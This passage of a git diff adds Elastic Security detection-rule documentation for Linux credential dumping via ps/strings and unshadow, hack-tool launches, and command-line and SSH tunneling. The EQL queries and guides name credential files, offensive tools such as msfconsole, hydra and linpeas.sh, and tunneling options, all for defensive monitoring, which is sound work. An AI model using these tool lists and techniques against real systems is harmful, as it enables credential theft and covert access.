exceptions for known administrative scripts or tools that regularly execute these commands. +- Automated scripts for system health checks might trigger the rule if they use 'ps' and 'strings' to gather process information. Identify and whitelist these scripts by their specific command patterns or execution paths. +- Security tools that perform regular scans or audits might mimic the behavior detected by the rule. Review and exclude these tools by their process names or execution context to prevent false alerts. +- Developers or testers running debugging sessions may inadvertently trigger the rule when analyzing process memory. Establish a process to temporarily disable the rule or exclude specific user accounts during known testing periods. +- Custom monitoring solutions that log process details for analysis could match the rule's criteria. Document and exclude these solutions by their unique execution characteristics or host identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further credential exposure and potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the 'ps' and 'strings' commands with the specified arguments. +- Conduct a thorough review of the affected system's process memory and logs to identify any additional unauthorized access or data exfiltration attempts. +- Change passwords for all user accounts on the affected system, prioritizing those with elevated privileges, to mitigate the risk of credential misuse. +- Apply patches and updates to address CVE-2018-20781 and any other known vulnerabilities on the affected system to prevent future exploitation. +- Enhance monitoring and logging on the affected host and similar systems to detect any recurrence of the exploit or similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.name with maxspan=1m + [process where host.os.type == "linux" and process.name == "ps" and event.action in ("exec", "start", "exec_event") + and process.args in ("-eo", "pid", "command")] + [process where host.os.type == "linux" and process.name == "strings" and event.action in ("exec", "start", "exec_event") + and process.args : "/tmp/*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-unshadow.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-unshadow.asciidoc new file mode 100644 index 0000000000..77602df9a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-unshadow.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-potential-linux-credential-dumping-via-unshadow]] +=== Potential Linux Credential Dumping via Unshadow + +Identifies the execution of the unshadow utility which is part of John the Ripper, a password-cracking tool on the host machine. Malicious actors can use the utility to retrieve the combined contents of the '/etc/shadow' and '/etc/password' files. Using the combined file generated from the utility, the malicious threat actors can use them as input for password-cracking utilities or prepare themselves for future operations by gathering credential information of the victim. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Credential Dumping via Unshadow* + + +Unshadow is a utility within the John the Ripper suite, used to merge `/etc/shadow` and `/etc/passwd` files, making them vulnerable to password cracking. Adversaries exploit this to extract and crack user credentials, gaining unauthorized access. The detection rule identifies suspicious execution of Unshadow by monitoring process activities, focusing on specific execution patterns and argument counts, thus flagging potential credential dumping attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the unshadow utility by checking the process name and arguments, ensuring that the process.args_count is 3 or more. +- Investigate the user account under which the unshadow process was executed to determine if it aligns with expected administrative activities or if it indicates potential unauthorized access. +- Examine the command line arguments used with the unshadow process to identify the specific files targeted, such as /etc/shadow and /etc/passwd, and verify if these files were accessed or modified. +- Check for any subsequent processes or activities that might indicate password cracking attempts, such as the execution of John the Ripper or similar tools, following the unshadow execution. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional suspicious activities that might suggest a broader attack campaign. +- Assess the risk and impact by determining if any sensitive credentials were potentially exposed and consider implementing additional monitoring or access controls to prevent future incidents. + + +*False positive analysis* + + +- System administrators or security teams may use the unshadow utility for legitimate auditing or recovery purposes. To handle this, create exceptions for known administrative accounts or specific maintenance windows. +- Automated scripts or backup processes might invoke unshadow as part of routine operations. Identify these scripts and exclude their execution paths or associated user accounts from triggering alerts. +- Security testing or penetration testing activities could involve the use of unshadow. Coordinate with the testing team to whitelist their activities during the testing period to avoid false positives. +- Development or testing environments might have unshadow executed as part of security tool evaluations. Exclude these environments from monitoring or adjust the rule to focus on production systems only. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the unshadow utility to halt ongoing credential dumping activities. +- Conduct a thorough review of the affected system's `/etc/shadow` and `/etc/passwd` files to identify any unauthorized modifications or access. +- Change passwords for all user accounts on the affected system, prioritizing those with elevated privileges, to mitigate the risk of compromised credentials. +- Review and update access controls and permissions for sensitive files, ensuring that only authorized users have access to `/etc/shadow` and `/etc/passwd`. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar activities across the network to detect and respond to future credential dumping attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "unshadow" and process.args_count >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-hack-tool-launched.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-hack-tool-launched.asciidoc new file mode 100644 index 0000000000..cf1082aee3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-hack-tool-launched.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-20-potential-linux-hack-tool-launched]] +=== Potential Linux Hack Tool Launched + +Monitors for the execution of different processes that might be used by attackers for malicious intent. An alert from this rule should be investigated further, as hack tools are commonly used by blue teamers and system administrators as well. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Hack Tool Launched* + + +Linux environments often utilize various tools for system administration and security testing. While these tools serve legitimate purposes, adversaries can exploit them for malicious activities, such as unauthorized access or data exfiltration. The detection rule identifies suspicious process executions linked to known hacking tools, flagging potential misuse by monitoring specific process names and actions indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Review the process name that triggered the alert to determine if it matches any known hacking tools listed in the query, such as "crackmapexec" or "sqlmap". +- Check the user account associated with the process execution to assess if it is a legitimate user or potentially compromised. +- Investigate the source and destination IP addresses involved in the process execution to identify any unusual or unauthorized network activity. +- Examine the command line arguments used during the process execution to understand the intent and scope of the activity. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities. +- Verify if the process execution aligns with any scheduled tasks or known administrative activities to rule out false positives. + + +*False positive analysis* + + +- System administrators and security teams often use tools like "john", "hashcat", and "hydra" for legitimate security testing and password recovery. To reduce false positives, create exceptions for these tools when used by authorized personnel or during scheduled security assessments. +- Blue team exercises may involve the use of exploitation frameworks such as "msfconsole" and "msfvenom". Implement a process to whitelist these activities when they are part of a sanctioned security drill. +- Network scanning tools like "zenmap" and "nuclei" are frequently used for network mapping and vulnerability assessments. Establish a baseline of normal usage patterns and exclude these from alerts when they match expected behavior. +- Web enumeration tools such as "gobuster" and "dirbuster" might be used by web developers for testing purposes. Coordinate with development teams to identify legitimate use cases and exclude these from triggering alerts. +- Regularly review and update the list of excluded processes to ensure that only non-threatening activities are exempted, maintaining a balance between security and operational efficiency. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the alert, such as those listed in the detection query, to halt potential malicious activities. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or lateral movement attempts. +- Restore the affected system from a known good backup if any unauthorized changes or data exfiltration are confirmed. +- Update and patch all software and applications on the affected host to mitigate vulnerabilities that could be exploited by the identified tools. +- Implement stricter access controls and monitoring on the affected host to prevent unauthorized execution of potentially malicious tools in the future. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in~ ( + // exploitation frameworks + "crackmapexec", "msfconsole", "msfvenom", "sliver-client", "sliver-server", "havoc", + // network scanners (nmap left out to reduce noise) + "zenmap", "nuclei", "netdiscover", "legion", + // web enumeration + "gobuster", "dirbuster", "dirb", "wfuzz", "ffuf", "whatweb", "eyewitness", + // web vulnerability scanning + "wpscan", "joomscan", "droopescan", "nikto", + // exploitation tools + "sqlmap", "commix", "yersinia", + // cracking and brute forcing + "john", "hashcat", "hydra", "ncrack", "cewl", "fcrackzip", "rainbowcrack", + // host and network + "linenum.sh", "linpeas.sh", "pspy32", "pspy32s", "pspy64", "pspy64s", "binwalk", "evil-winrm", + "linux-exploit-suggester-2.pl", "linux-exploit-suggester.sh", "panix.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Cracking +** ID: T1110.002 +** Reference URL: https://attack.mitre.org/techniques/T1110/002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc new file mode 100644 index 0000000000..7249e70289 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-command-line.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-command-line]] +=== Potential Linux Tunneling and/or Port Forwarding via Command Line + +This rule monitors for potential tunneling and/or port forwarding activity on Linux systems via command line utilities. Attackers may use various tools to create covert communication channels, allowing them to bypass network security measures and maintain persistent access to compromised systems. By leveraging these utilities, attackers can tunnel traffic through legitimate protocols, making detection more challenging. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding +* https://github.com/erebe/wstunnel + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Linux Tunneling and/or Port Forwarding via Command Line* + + +Attackers can leverage many utilities to clandestinely tunnel network communications and evade security measures, potentially gaining unauthorized access to sensitive systems. + +This rule looks for several utilities that are capable of setting up tunnel network communications by analyzing process names or command line arguments. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate protocol tunneling. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding via SSH Option - ef395dff-be12-4a6e-8919-d87d627c2174 +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- ProxyChains Activity - 4b868f1f-15ff-4ba3-8c11-d5a7a6356d37 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.command_line regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc new file mode 100644 index 0000000000..d656048988 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-potential-linux-tunneling-and-or-port-forwarding-via-ssh-option]] +=== Potential Linux Tunneling and/or Port Forwarding via SSH Option + +This rule detects the use of SSH options that may indicate tunneling or port forwarding on Linux systems. This behavior is commonly associated with malicious activity, such as establishing a port forward, proxy or an encrypted tunnel to exfiltrate data. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Tunneling and/or Port Forwarding via SSH Option* + + +SSH is a secure protocol used for encrypted communication over networks, often employed for remote administration. Adversaries exploit SSH options like port forwarding to create tunnels, facilitating covert data exfiltration or unauthorized access. The detection rule identifies suspicious SSH commands indicative of tunneling by monitoring specific SSH options, helping to flag potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process command line details to identify the specific SSH options used, such as ProxyCommand, LocalForward, RemoteForward, DynamicForward, Tunnel, GatewayPorts, ExitOnForwardFailure, or ProxyJump, to understand the nature of the potential tunneling or port forwarding. +- Examine the user account associated with the SSH process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the source and destination IP addresses involved in the SSH connection to identify any unusual or unauthorized endpoints that may indicate malicious activity. +- Investigate the timing and frequency of the SSH connections to assess whether they coincide with known business operations or if they suggest unauthorized access patterns. +- Correlate the event with other security logs or alerts from the same host or network segment to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative tasks using SSH options like ProxyCommand or LocalForward can trigger the rule. To manage this, create exceptions for known administrative scripts or users frequently using these options for valid purposes. +- Automated backup or synchronization processes that use SSH tunneling for secure data transfer may be flagged. Identify these processes and exclude them by 